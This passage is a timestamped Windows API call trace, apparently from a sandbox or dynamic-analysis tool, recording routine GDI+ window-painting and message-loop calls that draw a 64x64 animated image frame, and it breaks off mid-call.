[0171.837] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.838] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0171.838] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.838] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.838] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.838] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.838] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0171.838] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0171.838] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0171.838] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0171.839] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.839] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0171.839] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0171.839] GetCurrentObject (hdc=0x7010bd9, type=0x1) returned 0x1b00017 [0171.839] GetCurrentObject (hdc=0x7010bd9, type=0x2) returned 0x1900010 [0171.839] GetCurrentObject (hdc=0x7010bd9, type=0x7) returned 0x1a05067e [0171.839] GetCurrentObject (hdc=0x7010bd9, type=0x6) returned 0x18a002e [0171.839] SaveDC (hdc=0x7010bd9) returned 1 [0171.839] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x500407c3 [0171.839] GetClipRgn (hdc=0x7010bd9, hrgn=0x500407c3) returned 0 [0171.839] SelectClipRgn (hdc=0x7010bd9, hrgn=0x20040b8a) returned 2 [0171.839] DeleteObject (ho=0x500407c3) returned 1 [0171.840] DeleteObject (ho=0x20040b8a) returned 1 [0171.840] OffsetViewportOrgEx (in: hdc=0x7010bd9, x=0, y=0, lppt=0x2749860 | out: lppt=0x2749860) returned 1 [0171.840] GetNearestColor (hdc=0x7010bd9, color=0xffffff) returned 0xffffff [0171.840] CreateSolidBrush (color=0xffffff) returned 0x28100190 [0171.840] FillRect (hDC=0x7010bd9, lprc=0x15d7c0, hbr=0x28100190) returned 1 [0171.840] DeleteObject (ho=0x28100190) returned 1 [0171.840] RestoreDC (hdc=0x7010bd9, nSavedDC=-1) returned 1 [0171.840] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.840] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7010bd9) returned 0x0 [0171.841] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb960dbd) returned 0x0 [0171.841] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.841] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0171.841] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.841] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.841] GetSystemMetrics (nIndex=42) returned 0 [0171.841] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.841] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.841] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.841] CoTaskMemFree (pv=0x1e91eca0) [0171.841] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0171.841] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0171.841] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0171.841] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0171.841] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x7010bd9, x1=0, y1=0, rop=0xcc0020) returned 1 [0171.842] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.842] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x7010bd9) returned 0x0 [0171.842] SelectObject (hdc=0x7010bd9, h=0x185000f) returned 0x1a05067e [0171.842] DeleteDC (hdc=0x7010bd9) returned 1 [0171.842] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.842] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0171.842] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0171.842] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0171.842] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.842] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.842] WaitMessage () returned 1 [0172.095] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0172.095] IsWindowUnicode (hWnd=0x2031e) returned 1 [0172.095] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0172.095] TranslateMessage (lpMsg=0x15e910) returned 0 [0172.095] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0172.095] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0172.096] GetCurrentThreadId () returned 0xec0 [0172.096] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0172.096] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0172.096] IsWindowUnicode (hWnd=0x2031e) returned 1 [0172.096] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0172.096] TranslateMessage (lpMsg=0x15e910) returned 0 [0172.096] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0172.096] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0172.096] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0172.097] CreateCompatibleDC (hdc=0x1010b9d) returned 0x19010c56 [0172.097] SelectObject (hdc=0x19010c56, h=0x1a05067e) returned 0x185000f [0172.097] GdipCreateFromHDC (hdc=0x19010c56, graphics=0x15daf0) returned 0x0 [0172.097] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0172.097] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0172.098] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0172.098] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0172.098] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0172.098] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0172.098] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0172.098] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0172.098] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.099] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0172.099] GdipCreateRegion (region=0x15dc20) returned 0x0 [0172.099] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0172.099] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0172.099] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0172.099] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0172.099] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0172.099] GetSystemMetrics (nIndex=42) returned 0 [0172.099] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0172.099] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0172.099] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0172.099] CoTaskMemFree (pv=0x1e91eca0) [0172.099] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0172.100] GdipCreateRegion (region=0x15d710) returned 0x0 [0172.100] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0172.100] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0172.100] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0172.100] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0172.100] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0172.100] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0172.101] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0172.101] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0172.101] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0172.101] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0172.101] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0172.101] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.102] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0172.102] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0172.102] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0172.102] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0172.102] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.102] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0172.102] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0172.102] GetCurrentObject (hdc=0x19010c56, type=0x1) returned 0x1b00017 [0172.102] GetCurrentObject (hdc=0x19010c56, type=0x2) returned 0x1900010 [0172.102] GetCurrentObject (hdc=0x19010c56, type=0x7) returned 0x1a05067e [0172.102] GetCurrentObject (hdc=0x19010c56, type=0x6) returned 0x18a002e [0172.103] SaveDC (hdc=0x19010c56) returned 1 [0172.103] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x21040b8a [0172.103] GetClipRgn (hdc=0x19010c56, hrgn=0x21040b8a) returned 0 [0172.103] SelectClipRgn (hdc=0x19010c56, hrgn=0x510407c3) returned 2 [0172.104] DeleteObject (ho=0x21040b8a) returned 1 [0172.104] DeleteObject (ho=0x510407c3) returned 1 [0172.104] OffsetViewportOrgEx (in: hdc=0x19010c56, x=0, y=0, lppt=0x274a198 | out: lppt=0x274a198) returned 1 [0172.104] GetNearestColor (hdc=0x19010c56, color=0xffffff) returned 0xffffff [0172.104] CreateSolidBrush (color=0xffffff) returned 0x29100190 [0172.104] FillRect (hDC=0x19010c56, lprc=0x15d7c0, hbr=0x29100190) returned 1 [0172.104] DeleteObject (ho=0x29100190) returned 1 [0172.104] RestoreDC (hdc=0x19010c56, nSavedDC=-1) returned 1 [0172.104] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.104] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010c56) returned 0x0 [0172.105] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb940dbd) returned 0x0 [0172.105] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.105] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0172.105] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0172.105] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0172.105] GetSystemMetrics (nIndex=42) returned 0 [0172.105] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0172.105] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0172.105] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0172.105] CoTaskMemFree (pv=0x1e91eca0) [0172.105] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0172.107] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0172.107] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0172.107] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0172.107] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0172.107] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x19010c56, x1=0, y1=0, rop=0xcc0020) returned 1 [0172.108] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.108] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010c56) returned 0x0 [0172.108] SelectObject (hdc=0x19010c56, h=0x185000f) returned 0x1a05067e [0172.108] DeleteDC (hdc=0x19010c56) returned 1 [0172.108] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0172.108] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0172.108] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0172.108] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0172.108] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0172.108] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0172.108] WaitMessage () returned 1 [0173.033] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.033] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.033] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.033] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.033] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.033] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0173.033] GetCurrentThreadId () returned 0xec0 [0173.033] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0173.033] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.033] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.033] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.033] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.033] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.033] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0173.034] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0173.034] CreateCompatibleDC (hdc=0x2d010b73) returned 0x16010c6c [0173.034] SelectObject (hdc=0x16010c6c, h=0x1a05067e) returned 0x185000f [0173.034] GdipCreateFromHDC (hdc=0x16010c6c, graphics=0x15daf0) returned 0x0 [0173.034] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0173.034] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0173.034] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0173.035] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0173.035] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0173.035] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.035] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0173.035] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.035] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.036] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0173.036] GdipCreateRegion (region=0x15dc20) returned 0x0 [0173.036] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0173.036] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0173.036] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0173.036] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.036] GetSystemMetrics (nIndex=42) returned 0 [0173.036] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.036] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.036] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.036] CoTaskMemFree (pv=0x1e91eca0) [0173.036] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0173.037] GdipCreateRegion (region=0x15d710) returned 0x0 [0173.037] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0173.037] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0173.037] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0173.037] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0173.037] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.037] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.037] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.038] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0173.038] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.038] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0173.038] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.038] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.038] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0173.039] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0173.039] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0173.039] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0173.039] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.039] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0173.039] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0173.039] GetCurrentObject (hdc=0x16010c6c, type=0x1) returned 0x1b00017 [0173.039] GetCurrentObject (hdc=0x16010c6c, type=0x2) returned 0x1900010 [0173.039] GetCurrentObject (hdc=0x16010c6c, type=0x7) returned 0x1a05067e [0173.039] GetCurrentObject (hdc=0x16010c6c, type=0x6) returned 0x18a002e [0173.040] SaveDC (hdc=0x16010c6c) returned 1 [0173.040] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x520407c3 [0173.040] GetClipRgn (hdc=0x16010c6c, hrgn=0x520407c3) returned 0 [0173.040] SelectClipRgn (hdc=0x16010c6c, hrgn=0x22040b8a) returned 2 [0173.040] DeleteObject (ho=0x520407c3) returned 1 [0173.040] DeleteObject (ho=0x22040b8a) returned 1 [0173.040] OffsetViewportOrgEx (in: hdc=0x16010c6c, x=0, y=0, lppt=0x274b4a0 | out: lppt=0x274b4a0) returned 1 [0173.040] GetNearestColor (hdc=0x16010c6c, color=0xffffff) returned 0xffffff [0173.040] CreateSolidBrush (color=0xffffff) returned 0x2a100190 [0173.041] FillRect (hDC=0x16010c6c, lprc=0x15d7c0, hbr=0x2a100190) returned 1 [0173.041] DeleteObject (ho=0x2a100190) returned 1 [0173.041] RestoreDC (hdc=0x16010c6c, nSavedDC=-1) returned 1 [0173.041] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.041] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010c6c) returned 0x0 [0173.041] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb920dbd) returned 0x0 [0173.041] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.041] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0173.041] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.041] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.041] GetSystemMetrics (nIndex=42) returned 0 [0173.042] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.042] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.042] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.042] CoTaskMemFree (pv=0x1e91eca0) [0173.042] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0173.042] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0173.042] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0173.042] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0173.042] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x16010c6c, x1=0, y1=0, rop=0xcc0020) returned 1 [0173.042] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.042] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x16010c6c) returned 0x0 [0173.043] SelectObject (hdc=0x16010c6c, h=0x185000f) returned 0x1a05067e [0173.043] DeleteDC (hdc=0x16010c6c) returned 1 [0173.043] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.043] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0173.043] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0173.043] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0173.043] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.043] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0173.043] WaitMessage () returned 1 [0173.489] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.489] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.489] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.489] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.490] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.490] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0173.490] GetCurrentThreadId () returned 0xec0 [0173.490] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0173.490] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0173.490] IsWindowUnicode (hWnd=0x2031e) returned 1 [0173.490] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0173.490] TranslateMessage (lpMsg=0x15e910) returned 0 [0173.490] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0173.490] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0173.490] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0173.490] CreateCompatibleDC (hdc=0x2d010b73) returned 0xa010cea [0173.491] SelectObject (hdc=0xa010cea, h=0x1a05067e) returned 0x185000f [0173.491] GdipCreateFromHDC (hdc=0xa010cea, graphics=0x15daf0) returned 0x0 [0173.491] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0173.491] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0173.491] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0173.491] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0173.492] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0173.492] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.492] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0173.492] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0173.492] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0173.492] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0173.492] GdipCreateRegion (region=0x15dc20) returned 0x0 [0173.492] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0173.493] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0173.493] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0173.493] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0173.493] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0173.493] GetSystemMetrics (nIndex=42) returned 0 [0173.493] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0173.493] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0173.493] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0173.493] CoTaskMemFree (pv=0x1e91eca0) [0173.493] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0173.493] GdipCreateRegion (region=0x15d710) returned 0x0 [0173.493] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0173.493] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0173.493] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0173.493] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0173.493] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0173.493] GdipGetMatrixElements (matrix=0x1dc0a590, 